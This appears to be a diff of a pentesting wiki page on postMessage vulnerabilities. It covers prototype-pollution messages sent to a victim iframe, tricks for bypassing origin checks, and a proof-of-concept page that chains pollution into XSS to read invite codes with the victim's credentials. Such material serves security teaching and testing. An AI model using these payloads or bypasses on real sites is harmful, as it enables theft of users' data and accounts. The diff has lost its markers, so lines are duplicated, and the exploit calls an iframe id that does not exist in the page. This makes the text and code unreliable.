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pentesting-web/postmessage-vulnerabilities.md
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@ -11,6 +11,7 @@ targetWindow.postMessage(message, targetOrigin, [transfer]);
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
@ -58,13 +59,22 @@ window.addEventListener("message", (event) => {
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information \(like changing a password\). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords \(in this example\).
### addEventListener check origin bypasses
### Enumeration
Copied from [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
In order to **find event listeners** in the current page you can:
* **Search** the JS code for ****`window.addEventListener`
* **Execute** in the developer tools console: `getEventListeners(window)`
![](../.gitbook/assets/image%20%28616%29.png)
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
### addEventListener check origin bypasses
* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp. In regular expression, **a dot \(.\) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
```javascript
// Expected to fail:
@ -79,9 +89,35 @@ result.message; // "'"<b>\"
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
## Tools
### postMessage to Prototype Pollution and/or XSS
{% embed url="https://github.com/benso-io/posta" %}
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
For **more information**:
* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution.md)\*\*\*\*
* Link to page about [**XSS**](xss-cross-site-scripting/)\*\*\*\*
* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)\*\*\*\*
## References
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)